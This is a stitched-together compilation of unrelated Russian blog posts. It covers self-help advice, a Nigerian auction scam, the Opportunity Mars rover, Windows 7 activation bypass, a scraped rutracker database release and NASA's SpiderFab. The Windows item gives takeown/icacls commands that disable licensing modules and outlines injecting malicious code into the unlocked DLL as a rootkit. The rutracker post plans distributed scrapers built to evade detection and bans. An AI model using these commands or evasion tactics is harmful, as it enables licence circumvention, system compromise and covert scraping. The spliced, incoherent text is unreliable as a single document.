5) Питайтесь правильно. Да-да это про еду. Не думайте, что это фигня. Мы очень плохо питаемся. Во только не надо мне говорить, что я не могу есть иначе, мне удобнее есть бутерброды на бегу и пить порошковый кофе из автомата. Старайтесь питаться настоящими продуктами — кашами, овощами, фруктами, яйцами, творогом, сыром, мясом. Избегайте быстрой еды — батончиков, сэндвичей, газировки, быстрых супов, колбасы, сосисок, конфет, сдобы, чипсов.
Разумеется я не призываю вас вообще отказаться от этих вещей. Просто взгляните трезвым взглядом на свой рацион и посмотрите сколько в нем нормальной еды и сколько быстрой и удобной. Если в вашем рационе удобство преобладает, то знайте, что отчасти в вашей усталости и медлительности, виновата пища.
И последнее. Не примеряйте на себя чужой успех. Заканчивайте мерить успешность жизни по другим людям. Часто говорят, вот он/она в свои 23 года миллионер/бизнесмен/коммерсант/владелец крупной компании и т.д., а ты, кто ты в свои 30. Да какая разница? Конечно хорошо иметь миллионы, иметь нефтяную скважину тоже наверное хорошо, здорово иметь полный гараж спортивных тачек и дом на побережье. Все это просто отлично. Но в конце концов решать именно вам.
Оглянитесь вокруг, взгляните в себя. У вас жена которая любит вас, а вы ее. У вас уютная, пусть и двухкомнатная квартира, которую оставил вам дедушка и вы не зарабатывали на нее 5 лет, ну и пусть. У вас прекрасный сын/дочь, у вас есть время общаться с ними и это общение дарит вам радость. Вы выезжаете летом на дачу, в деревню, кормите там слепней и сажаете редис, ходите гадить в очковый туалет, ну и круто. Наслаждайтесь этим, не копайтесь в причинах чужих побед сравнивая их с вашими неудачами, это тупиковый путь. Делайте что вам нравиться и не ломайте себя в угоду недосягаемым целям, а реальных вы и так достигнете.
В конце концов, не всем же быть миллионерами или создателями грандиозных стартапов.
Не бойтесь совершать ошибки, смейтесь над своими неудачами, не обращайте внимание на тех, кто не верит в вас. Это вам не поможет. Верьте в себя, верьте своим близким, обращайтесь к ним за помощью, идите своим путем.
Начало
Началось всё с того, что мне с ebay пришёл Apple MacBook PRO 15”. Покупал его для себя, но вышло так, что не легла душа к нему. После 13” он показался слишком тяжелым и неудобным. Было принято решение продать его и взять на замену что то небольшое.
Продажа ноутбука
Я написал несколько объявлений о продаже. В том числе на Molotok.ru. Через несколько часов после выставления лота на молоток, я получил сообщение по почте о том, что лот был выигран. Покупатель был зарегистрирован в день покупки и никак не обозначил себя в комментариях к покупке.
Дабы убедиться, что человек действительно хочет купить у меня ноутбук, я написал ему поздравительное письмо.
Спустя сутки я получил от покупателя ответ.
Вкратце: ноутбук был куплен для сына на день его рождения, который проживает в Нигерии и занимается иностранными языками. Покупатель просит отправить посылку через EMS и сообщить ему полную сумму с доставкой. Так же, ему нужны мои банковские реквизиты.
Судя по стране, стало похоже, что работают мошенники. Я ответил покупателю, что за границу отправляю только после «Clear Payment» через PayPal.
Покупатель не спешит с ответами. Письма от него приходят в среднем через 12-15 часов после моих. Новое письмо от покупателя:
Покупатель согласен на такой вариант. Он просит сообщить полную стоимость в $ или Euro вместе с доставкой. Чтож, сообщим:
Схема мошенничества
И вот тут начинается самое интересное. Где то через 12 часов приходит письмо от Service@paypal.com следующего содержания:
Похоже на то, что деньги перечислили на ваш счёт, но требуется подтверждение отправки. После этого перевод будет подтверждён. Но адрес отправителя странный, да и стиль оформления не соответствует стилю PayPal. Нужно ли говорить, что в личном кабинете на PayPal не было никакого перевода? Так же, мошенник прислал еще одно письмо:
Тут, в принципе, написано то же самое. Отправьте, дайте нам Tracking code и мы перечислим вам деньги.
На этом наше общение прекратилось, схема проста и понятна. Дальше не интересно.
Выводы
- Внимательно изучите покупателя. Особенно если он из Нигерии. И особенно если лот дорогой.
- Утром деньги-вечером стулья. Не отправляйте ничего, пока не убедитесь, что деньги у вас на счёте и вы можете ими распоряжаться.
- Внимательно смотрите на письма от платёжной системы.
- Трижды подумайте, стоит ли отправлять лот за границу. Может быть найдётся покупатель в вашей стране?
Мораль
Данная схема развода проста и понятна. На неё очень трудно повестись. Но если вы неопытный продавец или в данный момент у вас огромное количество лотов, вы можете просто не заметить мошенника.
Будьте аккуратны и удачных продаж!
За шумихой вокруг феноменальной посадки марсохода Curiosity, многие забыли, что там не прекращает работы его предшественник. Марсоходы-близнецы Spirit и Opportunity («Дух» и «Возможность») высадились на Марсе в далеком 2004 году. Их создатели рассчитывали на 90 марсианских суток (солов) работы, но они превзошли свой ресурс в десятки раз. С «Духом» связь уже потеряна, а вот «Возможность» продолжает свою работу вдали от назойливых журналистов вьющихся вокруг «Любопытства». Но не в забвении!
Opportunity визуализация © Nick Sotiriadis 2011
Opportunity продолжает работу уже более 3120 солов. Он поставил новый рекорд работы изделия человеческих рук на поверхности Марса. Предыдущий рекорд принадлежал стационарному лендеру Viking-1, передававшему информацию 2245 солов. Пробег Opportunity превышает 35 километров и он продолжает, с присущей ему неторопливостью, приближаться к следующему рекорду – расстоянию, преодоленному по поверхности человеческим аппаратом за пределами Земли. Рекорд был поставлен еще в 1973 году – Луноход-2 проехал ровно 37 километров. Пара сотен метров отделяет Opportunity от американского рекорда, который поставило Moonbuggy Аполлона 17 – 35,89 км. Ветер дует, Солнце светит, колеса крутятся, и пока нет оснований опасаться, что оба рекорда не будут взяты.
По поводу ветра – это отдельная история. Марсоходам прочили короткий век по причине, запыленности солнечных батарей. Но Марс преподнес NASA подарок в виде кратковременных бурь и частых смерчей – песчаных демонов (dust devils). Вместе они взялись за очистку солнечных панелей марсоходов и те ринулись на незапланированное покорение Марса.
Причина, по которой практически исчез интерес к Opportunity в том, что предыдущие три года он просто шел к новой цели своего исследования. После изучения интересного кратера Виктория, для него не осталось целей поблизости, и он отправился в 19-км марафон по плато Меридиани, которое и так уже досконально изучил. Три года без новостей и открытий – тут любого забудут.
Но цель у него перспективная – кратер Индевор.Когда марсоход только приземлился, главная его цель состояла в поиске доказательств существования в истории Марса периодов, когда на планете была жидкая вода и свободные водоемы. Первые месяцы исследований показали, что там вся пустыня в этих доказательствах – шариках гематита.
Это разновидность железной руды, которая формируется на дне мелких водоемов. Но перспектив для марсианской жизни это открытие не обещало. Помимо гематита, названного «черникой», почва имела высокое содержание сульфатов – веществ, которые формируются в очень кислой водной среде. В такой среде могут выжить некоторые земные экстремофилы, но в такой воде жизнь не самоорганизуется (вариантов неуглеродной формы жизни NASA всерьез не рассматривает и поисками не занимается).
Зато наблюдения спутникового спектрометра CRISM показали, что глубже могут залегать филлосиликаты – оливин-пироксеновые глины.
Холм Кейп-Йорк. Красный цвет — филлосиликаты, синим — сульфаты.
Условия их формирования гораздо комфортнее для жизни, тем более они гораздо лучше могут сохранить остатки представителей древней фауны. Оливин и пироксен – вулканические породы, которые практически вездесущи на Марсе. Чтобы получить филлосиликат надо только добавить воды. Но такие глины очень редки для поверхности Марса. Тут мы подходим к объяснению, чем интересен кратер Индевор.
Это очень древний 22 километровый кратер – ему больше миллиарда лет. В позднее время, когда формировалась равнина, его затянуло сульфатами и гематитом, так же как и все плато Меридиани. Но остались кольцевые валы! Удар метеорита поднял края кратера над окружающим ландшафтом, обнажив древние слои. По оценке NASA в них могут быть обнаружены породы, гораздо древнее окружающего плато, и в том числе – искомые глины. Поэтому Opportunity пустился в далекое путешествие, которое разнообразили только мелкие кратеры, да метеориты попадающиеся на пути.
Летом 2011 года он, наконец, прибыл к первой возвышенности, относящейся к кольцевому валу кратера. Фактически началась его вторая жизнь, поскольку впереди был объект, который геологически отличался от всего, что встречалось марсоходу ранее. Сменились и задачи: теперь, как и Curiosity, марсоход ищет доказательства геологических периодов, которые были благоприятны для жизни. Представители NASA прибытие к кратеру сравнили со второй посадкой.
Продолговатый холм, с которого решили начать изучение кратера, назвали Кейп-Йорк. Едва Opportunity к нему приблизился, начались открытия. У подножия холма нашлась гипсовая жила. Это стало очередным доказательством водного прошлого Марса, но это по-прежнему была не та вода, которая понравилась бы NASA, и углеродным жизненным формам.
Филлосиликаты ждали на вершине, а к ней следовало еще добраться. Но восхождение пришлось отложить на полгода – пришло время зимовки. Ровер, хоть и металлический, но многое животное ему не чуждо. Ночью он спит, чтобы сберечь энергию, и расходует ее только на обогрев. Зимой на отопление идет почти вся энергия и весь холодный сезон марсоход обездвижен. Его размещают под оптимальным углом к зимнему солнцу и он впадает в спячку.
С января по май 2012 года он не двигался, зато снял и передал полную цветную 360-градусную панораму места, названного Грили-Хэвен. В августе, после посадки Curiosity, эта панорама разошлась по соцсетям, причем зачастую авторство приписывали новичку.
Летом Opportunity продолжил обход Кейп-Йорка, а в сентябре начал восхождение.
И почти сразу наткнулся на сенсацию.
Обнажение «Кирквуд» поставило в тупик ученых. Анализ породы показал низкое содержание железа, так что этот «виноград» совсем не та «черника» какой усыпана вся пустыня. Шарики, заключенные в скале имеют неоднородную структуру, у них твердая скорлупа и мягкий наполнитель. Но что это такое NASA так и не определилось. По рабочей версии это такой-то результат вулканической деятельности – по структуре «скорлупа» напоминает вулканическое стекло. Может это быть и результатом импактного воздействия – от взрыва породившего весь кратер.
Верхнюю часть Кейп-Йорка, назвали Холм Матиевича, в память Джейка Матиевича — инженера, работавшего над всеми роверами NASA. Изучение холма Матиевича началось в октябре и продолжается до сих пор. Поскольку на нем много обнажений пород, принято решение обойти его по кругу изучая каждый камень, так, чтобы составить наиболее подробную геологическую картину места.
Карта ©Phil Stooke
NASA растягивает удовольствие, и последовательно изучает все встречные камни, не поддаваясь искушению ринуться сразу к залежам филлосиликатов. На холме и без них хватает интересного. Например, изучая спутниковые снимки, можно заметить геометрически правильные фигуры, которые на Земле, скорее всего, оказались бы каким-нибудь археологическим памятником.
Но штатных археологов в NASA пока нет, поэтому подобным структурам они дают геологическое объяснение. Их называют «boxwork» они могут быть как многометрового масштаба, так и сантиметрового. Такие как раз и были обнаружены там, где со спутника виднелся большой «boxwork».
Происхождение их объясняется кристаллизацией соли в илу пересыхающего водоема. Например, у обычной поваренной соли NaCl кубическая форма кристаллов, поэтому они выстраиваются в прямоугольные структуры. На Земле можно наблюдать похожий эффект, на пересыхающих соляных озерах, например таком, как известный Грум-Лейк.
Впрочем, это может быть кальцит, который под действием воды заполнил трещины в какой-то породе, а потом она разрушилась от эрозии.
Команда NASA заявляет, что отправится к залежам филлосиликатов только после того как замкнет кольцо вокруг холма Матиевича.
На сегодня у марсохода есть проблемы с двигателем правого колеса; сломано плечо манипулятора, из-за чего нельзя переместить «руку» в походное положение; неисправен один обогреватель; батареи вырабатывают примерно половину энергии от уровня на момент посадки. Но операторы марсохода полны оптимизма и готовы еще не раз порадовать нас громкими открытиями, способными конкурировать с результатами Curiosity.
Часть фотографий позаимствовал из группы Вконтакте Лучшее с Марса.
часть из блога www.planetary.org/blogs/emily-lakdawalla
Как известно, механизм активации Windows 7 был взломан ещё до официального выхода этой системы. Но старый метод требовал изменений в BIOS, что является весьма нетривиальной задачей.
Сейчас хакеры нашли вариант полного обхода механизма Windows Activation Technologies (WAT) без манипуляций с BIOS'ом и вообще без использования ключа активации.
С помощью этого метода блокируется работа модулей SPP (Software Protection Platform) и SLC (Software Licensing Client). И хотя 30-дневный счётчик периода активации может продолжать видимость работы, он уже не инициирует никаких действий. Для блокировки используются следующие команды:
takeown /F %WINDIR%\System32\sppcomapi.dll
icacls %WINDIR%\System32\sppcomapi.dll /deny *S-1-1-0:F
Здесь sppcomapi.dll — библиотека, которая контролируется основную часть функций SPP. Метод применим для операционных систем Windows 7 и Windows Server 2008 R2.
Здесь нужно добавить важную вещь: после использования команды takeown библиотека sppcomapi.dll станет доступна для записи, то есть открывается дорога для malware и вирусов. Это делается так: просто «отменяем» команду «icacls %WINDIR%\System32\sppcomapi.dll /deny *S-1-1-0:F», т.е. разблокируем. Инжектим свой злой код в эту dll, ждём пока пользователь перезагрузится. Вот такой простой rootkit.
Для автоматизации процесса блокировки активации создан ряд хакерских программ, в том числе RemoveWAT и Chew-WGA.
Представители Microsoft уже сообщили, что они в курсе проблемы и работают над ней. Они также подчеркнули важность использования лицензионного программного обеспечения.
В контексте последних законов, событий и тенденций как никогда очевидна ценность рутрекера как базы данных различного контента, а не как конкретного ресурса. К сожалению все мои призывы к администрации рутрекера предоставить общедоступный, полный, удобный дамп их базы наткнулся на полное непонимание с их стороны. Выкладывать нечто, что они называют зашифрованной «базой» — я не считаю решением проблемы по причинам, изложенным в вышеприведенных ветках обсуждения и продублированным ниже.
К сожалению, решить проблему своими силами у меня не хватило ни времени, ни, будем откровенны, знаний. Но, к счастью, мои слова возымели действие на людей, которые и тем и другим обладают. В итоге эти люди организовались и сообща сделали то, о чём так долго говорили большевики о чем я писал, а именно с помощью скриптов обошли рутрекер, сдампили все описания раздач с хешами, распарсили их и скомпоновали в удобную для употребления базу. В дополнение к этому так же была написана «морда»: программа для удобной работы с базой конечных пользователей, не знающих с какого конца держат grep. К сожалению, аккаунта на хабре никто из этой команды не имеет (если не считать read-only), в песочнице статья могла бы потеряться, поэтому меня выбрали как рупор для данной площадки. Я, честно говоря, раздумывал совсем недолго и только над тем, как правильнее все сделать. Если будут какие-то вопросы — задавайте мне в комментах, я либо отвечу сам, либо переадресую разработчикам. Технические тексты от первого лица, но я имею к ним косвенное отношение, они оставлены в таком виде для простоты восприятия.
Прежде, чем перейти к технической части и ссылкам, хотел бы добавить, что весь смысл этой затеи в том, чтобы как можно больше людей сохранили эту базу к себе. Поэтому очень Вас прошу, скачать данные по ссылкам ниже (желательно использовать торрент) и оставаться на раздаче как можно дольше. Скорее всего в будущем база будет обновляться, но этот момент еще не продуман до конца.
Описание формата хранения базы раздач
Число раздач в базе: 1411636
Имеется два места хранения: таблица и база описаний.
В таблице хранится номер раздачи на рутрекере, название раздачи, приблизительный размер в байтах, число сидов, число пиров, хеш в формате base32, число скачиваний и дата обновления раздачи. Размер раздачи приблизительный, так как он был получен парсингом строк вида «2.05 GB». К сожалению, не было найдено способа узнать точный размер из исходного кода страницы раздачи. Название раздачи закодировано в UTF-8, чтобы на системах, где стандартной является эта кодировка, файл можно было смотреть less'ом без дополнительных манипуляций. Хеш раздачи в base32, чтобы занимало меньше места. В графической программе для просмотра базы есть возможность переключения отображения хеша (в том числе, в magnet-ссылках) на HEX. Разделитель полей: TAB. Все пробельные символы в именах раздач заменялись на пробелы. Все HTML-конструкции в названиях заменялись на соответствующие символы юникода, это ещё одна из причин, почему от cp1251 отказались в пользу UTF-8. Дата кодируется в формате: «16-Jul-11 06:23». Английские названия месяцев выбраны, чтоб было меньше заморочек с парсингом.
Пример:
4085734 [x86] Ubuntu 12.04 Classic Remix 1170378588 206 3 Y4R4DX74NPXBKU6NECLJLV2N733F2NBW 20911 06-Jun-12 13:02
База описаний представляет собой коллекцию tar.gz-файлов, в каждом из которых лежат раздачи с шагом номера 1000. gzip выбран из-за скорости и неприхотливости к объему оперативной памяти. Архивные файлы сгруппированы по 100 штук в папки. Описание раздачи с номером 1234567 лежит в файле 012/01234.tar.gz/01234567 в кодировке UTF-8.
Программа
Исходники. Лицензия GNU GPL v2. Присылайте пулл-реквесты.
Программа написана на языке C++ с использованием библиотек Qt и kdelibs (для работы с архивами). Главная часть программы это таблица, в которой отображаются раздачи (используется QTableWidget). Сверху имеется поле для ввода поисковой фразы. Поиск (чтение файла с таблицей и отбор подходящих строк) происходит в отдельном потоке выполнения (thread), результаты порциями отправляются в основной поток, добавляющий новые строки в таблицу. Для передачи результатов между потоками используется соединение типа Qt::QueuedConnection. Когда файл дочитан до конца или отобрано необходимое число результатов, то в основной поток отправляется сообщение о том, что поиск завершен. После этого таблица пересортировывается. Прервать поиск можно кнопкой Стоп, расположенной сверху во время поиска.
Файл с таблицей может быть сжат в gzip, bzip2 или lzma/xz (под windows, к сожалению, последний вариант не поддерживается в нашей сборке). Файл распаковывается и просматривается на лету, без полной распаковки и создания временных файлов. Это реализовано при помощи класса KFilterDev из библиотеки kdelibs. Было выяснено, что gzip и xz дают намного лучшую скорость распаковки, чем bzip2, поэтому от последнего отказались при выборе формата, в котором база будет распространяться. Gzip показал скорость, в разы большую xz, и присутствовал на windows в используемом варианте библиотеки kdelibs. Поэтому выбор пал на gzip, несмотря на проигрыш в сжатии в полтора раза. Пользователь может распаковать таблицу самостоятельно или использовать соответствующую опцию меню, чтобы хранить на диске таблицу без сжатия. Кстати, не факт, что это приведет к ускорению поиска, так как больший объекм данных будет считываться с жесткого диска при поиске, а чтение с жесткого диска может быть медленнее, чем распаковка gzip.
Рассмотрим таблицу. Думаю, значение столбцов не нужно объяснять. По всем столбцам можно сортировать, а по умолчанию результаты отсортированы по количеству загрузок. Для реализации сортировки пришлось наследоваться от QTableWidgetItem и определять операцию сравнения.
Если дважды щелкнуть по любой ячейке, значение в ней выделяется и становится пригодным для копирования.
Для просмотра описания раздачи — щелкните левой кнопкой мышки в любое поле, кроме номера раздачи и хеша. Описание будет отображено снизу (при помощи QWebView).
Для загрузки страницы с раздачей и отображения её снизу, щелкните по номеру раздачи. Для копирования URL раздачи, щелкните по её номеру правой кнопкой мыши.
Сделать так, чтобы при нажатии правой кнопки мыши в ячейке с номером и хешом раздачи появлялось контекстное меню с пунктом «Скопировать ссылку», не удалось. Может быть, кто-нибудь из читателей знает, как можно этого добиться от QTableView. Впрочем, можно оставить как есть, так как нажать правую кнопку мыши быстрее, чем выбирать пункт из контекстного меню.
Реализация перехвата событий мыши на ячейках выполнена путем наследования от QItemDelegate и определения editorEvent. Получение описания из соответствующего tar.gz реализовано средствами класса KTar из библиотеки kdelibs.
Программой можно пользоваться, не располагая базой описаний раздач, тогда просмотреть описание можно будет только через сайт, нажав по номеру раздачи.
Настройки программа хранит в файле dump_viewer.ini, расположенном в папке с программой.
Инструкции для сборки программы для ОС Debian GNU/Linux и ОС Windows находятся в файле INSTALL.
В ходе разработки программы забавный казус вышел с парсингом дат. Формат даты «16-Jul-11 06:23» нестандартный, но он был оставлен, потому что довольно краткий, читаемый и похож на тот, который использует rutracker в своей выдаче. Оказалось, что QDateTime::fromString ожидает локализованные обозначения месяцев (Янв вместо Jan в русскоязычном окружении). Поэтому пришлось написать костыль, конвертирующий текстовые обозначения месяцев в числовые (Jan -> 01).
Зачем мы это сделали?
База была подготовлена, чтобы облегчить доступ пользователей к раздачам в случае проблем с доступностью сайта трекера. Например, когда выводится сообщение «форум временно отключен». Кроме того, эта раздача пригодится, если трекер будет внесен в список заблокированных сайтов. Не хочется, чтобы был даже мельчайший шанс того, что всё, что мы тут вместе сделали за эти годы, потерялось по прихоти чиновников или из-за поломки сервера, к примеру. Пока жива данная раздача, все раздачи трекера тоже живы. Вероятно, раз в месяц нужно будет обновлять эту раздачу.
rutracker же написал, что шифрованная раздача у них на трекере лучше!
Ответ: (подробнее тут и тут)
а) У нас есть описания раздач. Часто сложно бывает выбрать, например, BDRip, не глядя в описание. Ужимается база всех описаний до ~2 гигабайт. Можно было ужать сильнее, но решили не экономить в ущерб скорости работы «морды». (На самом деле есть еще несколько мыслей по оптимизации, но пока решили, что лучшее враг хорошего. Однако ж идеи и коммиты привествуются!)
б) Даже если группа людей, которая знает пароль, распределена по всему миру — это конечная группа людей, которую можно вычислить и обладая нужными ресурсами купить или запугать.
в) Администрация рутрекера и лично intellect бесспорно бесконечно честные люди, но пока я сам не увижу, что в раздаче именно база рутрекера, а не зашифрованный белый шум — я никому не поверю. Уж извините.
г) Нет проблемы фейковых сайтов и поддельных магнитных ссылок. Базу может сделать не только администрация (наша база тому пример), так что шифрованность базы на рутрекере не спасает. А валидность хешей в базе проверяется либо по контрольным суммам (с GPG-подписью), либо банальным сравнением с самим рутрекером (если он все еще доступен).
д) Для того, чтобы в базе были актуальные раздачи — базу банально надо обновлять. Чем чаще, тем лучше. И если администрация рутрекера действительно заботится о том, чтоб пользователи получали актуальную информацию, надеюсь они не будут чинить препятствий в обновлении нашей базы. А то и помогут, чем черт не шутит.
Дальнейшие планы
Следующий логичный шаг — сделать генератор HTML[PHP]-сайта, дублирующего функциональность программы и базы. После этого мы хотим замахнуться на статическую реализацию всех частей сайта, то есть чистый HTML/CSS/JS, без PHP или подобной серверной логики. Это позволит заливать сайт практически на любой хостинг, в том числе бесплатный, что сделает в принципе невозможным искоренение данной базы из сети. На тему реализации поиска на JavaScript уже есть идеи (к примеру, сделать индекс раздач по словам, разбить его на отдельные файлы, балансируя между средним размером одного файла и общим числом файлов). Можно добавить и полноценную реализацию поиска на стороне сервера. К сожалению толковых веб-разработчиков у нас нет, ищутся желающие.
Проделать подобное для других трекеров. Для пиратской бухты уже сделали. Когда база данных рутрекера будет дочищена, можно перейти к другим отечественным и иностранным трекерам. Можно подумать, как все базы объединить в одну (видимо, по файлу на трекер, чтобы было удобно выбирать нужные трекеры при скачивании).
Распределенное обновление базы раздач. Разумеется, нужно периодически обновлять базу: добавляются новые раздачи, обновляются старые. А почему бы не переложить задачу обновления на пользователей? Само собой, тех, кто на это согласится. Во-первых, наши каналы не резиновые, чтобы самим постоянно дампить трекер(ы). Во-вторых, трекеры нескольких пауков могут и обнаружить с последующим баном и, возможно, разбирательством. а если пауков будет 100, то каждый из них будет забирать новые раздачи слишком медленно, чтобы это можно было обнаружить. Для пользователя это будет выглядеть как пункт в программе «Принять участие в обновлении базы» и ввод данных для входа в свой аккаунт. Дальше программа всё сделает сама. Найденные свежие раздачи и изменения в старых будут отправляться в центр, который после их проверки будет добавлять данные в общую базу.
Кстати, интересная задачка по теории вероятности: если N раздач наугад качают M независимых пауков со скоростью X раздач в сутки, то через какое время (ожидаемое) они выкачают долю Y всех раздач?
Ссылки и контакты
bitbucket (исходники и база раздач без описаний)
mega.co.nz (только база описаний, распаковать основной tar в папку с программой)
Торренты (все в одном):
i2p (в процессе заливки и индексации)
Магнитная ссылкаmagnet:?xt=urn:btih:KY33A26BTGUNAE2D3YWET3UYYGFPP4QU&dn=release&tr=http%3a%2f%2fannounce.opensharing.org%3a2710%2fannounce&tr=udp%3a%2f%2ftracker.publicbt.com%3a80%2fannounce&tr=udp%3a%2f%2ftracker.openbittorrent.com%3a80
opensharing
rutracker
sha256-хеши всех файлов раздачи: sha256.txt
актуальный sha256.txt и sha256.txt.asc можно взять в торренте и тут.
GPG fingerprint: C567 227F 6D75 014E CDC0 FE7B E0F9 25D1 E020 95A4
e-mail: sir.ratnik@yandex.ru
Jabber: sir.ratnik@ya.ru
Jabber-конференция: torrents-database@conference.jabber.no
OTR fingerprint: 7503B021 02E30FEA 88861B43 7AB21676 35704DBA
GPG-key-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.12 (GNU/Linux)
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
=Peeh
-----END PGP PUBLIC KEY BLOCK-----
P.S. Хотелось бы выразить благодарность команде LAVteam за техническую поддержку.
UPD: Так же большое спасибо init0 за инвайт для непосредственного представителя команды разработчиков — ratnik0. Вы не однофамильцы, кстати? ;)
UPD2: Если у кого-то под виндой программа требует ssleay32.dll, то Вам поможет установка библиотек openssl.
UPD3: Создали джаббер-конференцию для координации сочувствующих и обсуждения дальнейших планов: torrents-database@conference.jabber.no
UPD4: Кто голосовал за дамп порнолаба? Нужна Ваша помощь — ждем в конференции.
UPD5: rutor удалил раздачу без объяснения причин.
Вместо того, чтобы делать конструкции на Земле, а потом разбирать их на мелкие кусочки, чтоб упаковать в ракету-носитель, NASA-вские инженеры реализуют радикально иной подход.
Они планируют заслать на орбиту 3d принтер, роботов и кучу сырья, а потом «печатать» детали и собирать их прямо в космосе.
Это позволит, по заявлению разработчиков, создавать конструкции в километровых масштабах.
Месяц назад, в NASA заявили, что они инвестируют в компанию, которая разрабатывает технологию "SpiderFab" для постройки больших объектов в открытом космосе.
В настоящее время если вам надо запустить на орбиту большой объект, используемый метод — построить этот объект на земле, разработав его таким образом, что его можно «упаковать» в ракету. Такой подход очень дорогостоящий, и размер объектов строго ограничен размерами ракеты-носителя.
Сравнение существующей технологии и проектируемой
SpiderFab
NASA заключило контракт с Tethers Unlimited, Inc. (TUI) на 500.000$ для продолжения разработок технологии, которая позволит использовать 3d принтер и роботизированную сборку для производства и соединения больших компонентов прямо на орбите.
Технология SpiderFab позволит создавать объекты в километровом масштабе.
Trusselator
Параллельно с «SpiderFab» идет разработка «Trusselator»`а — устройства, которое будет создавать стержневые системы для постройки больших солнечных батарей.
